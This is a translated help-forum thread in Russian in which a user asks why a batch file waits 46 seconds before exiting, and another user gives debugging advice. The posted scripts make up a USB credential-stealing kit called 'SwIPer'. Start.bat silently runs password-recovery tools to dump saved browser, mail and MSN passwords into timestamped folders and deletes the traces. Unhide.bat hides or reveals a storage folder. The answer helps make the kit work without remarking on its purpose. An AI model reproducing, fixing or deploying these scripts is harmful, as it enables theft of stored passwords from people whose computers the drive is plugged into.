Почему мой пакетный файл ничего не делает за 46 секунд до принудительного выхода?

444
Daniel

Я выяснил, какая часть кода делает это, но не знаю, как это исправить ... Вот код:

Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* )  

Пакет делает то, что он должен сделать прямо во время его выполнения, но окно cmd остается открытым в течение 46 секунд, а затем завершает работу (потому что я пошел taskkill / IM cmd.exe).

Пожалуйста помоги!

Ps, если вы хотите, чтобы я опубликовал весь код (а это много), тогда я буду. У меня могут быть проблемы с объяснением этого, но я буду стараться изо всех сил.

Весь код выглядит следующим образом:

  1. Я запускаю Pre-Unhide.bat (здесь нет проблем)

    @echo off  cd /d %~d0\  cd SwIPer start /min Start.bat  cd..  call Unhide.bat 
  2. Start.bat это:

    @echo off  for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO ( set CUR_DAY_OF_WEEK=%%i set CUR_MONTH=%%j set CUR_DAY=%%k set CUR_YEAR=%%l)  for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO ( set CUR_HOUR=%%i set CUR_MIN=%%j set AM_PM=%%k)  cd /d %~d0\  cd %~d0\SwIPer md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"  start /min iepv /stext IExplorer.txt start /min mailpv /stext Mail.txt start /min mspass /stext MSN.txt start /min WebBrowserPassView /stext AllBrowsers.txt echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" del IExplorer.txt del Mail.txt del MSN.txt del AllBrowsers.txt 
  3. Затем Pre-Unhide.bat продолжается и вызывает Unhide.bat

    @echo off  Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* ) 

(Затем добавил это, потому что я хочу принудительно завершить работу, но все еще ждет 46 секунд, чтобы принудительно завершить работу)

 taskkill /IM cmd.exe 

Помощь очень ценится :) спасибо.

0
Во-первых, * начало * не блокирует. Другими словами, он не ждет, что он начинает заканчивать, прежде чем продолжить. Таким образом, `Start.bat` все еще может быть запущен, обрабатывая, когда запускается` Unhide.bat`. Во-вторых, если ваши пакетные файлы находятся на этом диске, используйте `% ~ d0`, чтобы получить букву диска, на котором находится пакетный файл ... а не этот список` if`s, которого, по возможности, следует избегать. Я видел съемные диски, назначенные для `D:`, внутренние жесткие диски, назначенные для `E:`, и т. Д. Не безопасно предполагать, что первое, с чем вы столкнетесь, начиная с `E:`, будет тот же съемный диск. Bob 12 лет назад 0
@ Боб, как мне настроить команду% ~ d0? пожалуйста, напишите, где его поставить и как его настроить. Спасибо Daniel 12 лет назад 0
Это не команда, это специальная переменная, которая содержит диск, на котором находится пакетный файл, в виде `: `, например` E: `. На самом деле `cd E: \` неверен, это должен быть `cd \ d E: \`, так как вы меняете диски. С этой специальной переменной это будет `cd / d% ~ d0 \`, заменяя весь этот список `if`s. Bob 12 лет назад 0
@Bob хорошо, я исправил это спасибо, выглядит намного аккуратнее! Это все еще ждет то же самое количество времени. Я не думаю, что это start.bat держит его, потому что это занимает всего 1 секунду, чтобы завершить цикл, а затем завершает работу, так что ничего там, я не думаю ... может быть, так, как я это назвал? Daniel 12 лет назад 0
@Bob Я загружаю видео на YouTube прямо сейчас, показывая вам, что он делает или не делает. Пожалуйста, посмотрите его (надеюсь, не слишком медленный, так как я использовал худший кодек, чем обычно, чтобы сэкономить память). Видео на http://youtu.be/Wr5NjohUcas Daniel 12 лет назад 0

1 ответ на вопрос

0
Luke

Начните с комментирования вашего кода. Облегчает понимание того, чего вы пытаетесь достичь. Используйте команду Pause для отладки, на каждом шаге в вашем коде, если это необходимо.

Попробуйте следующее: В Pre-Unhide.bat добавьте переключатель / wait к вашему «start / min start.bat» - так «start / min / wait start.bat». Это заставит preunhide ждать завершения и начала вызова unhide.bat. Смотрите эту ссылку для получения дополнительной информации о запуске и других командах CMD :: http://ss64.com/nt/

Добавьте выход в качестве последней строки кода для start.bat. Это закроет start.bat, чтобы preunhide мог вызвать unhide.bat. Вы также можете добавить его в качестве последней строки для отображения.

Также предлагаем вам использовать ROBOCOPY вместо XCOPY.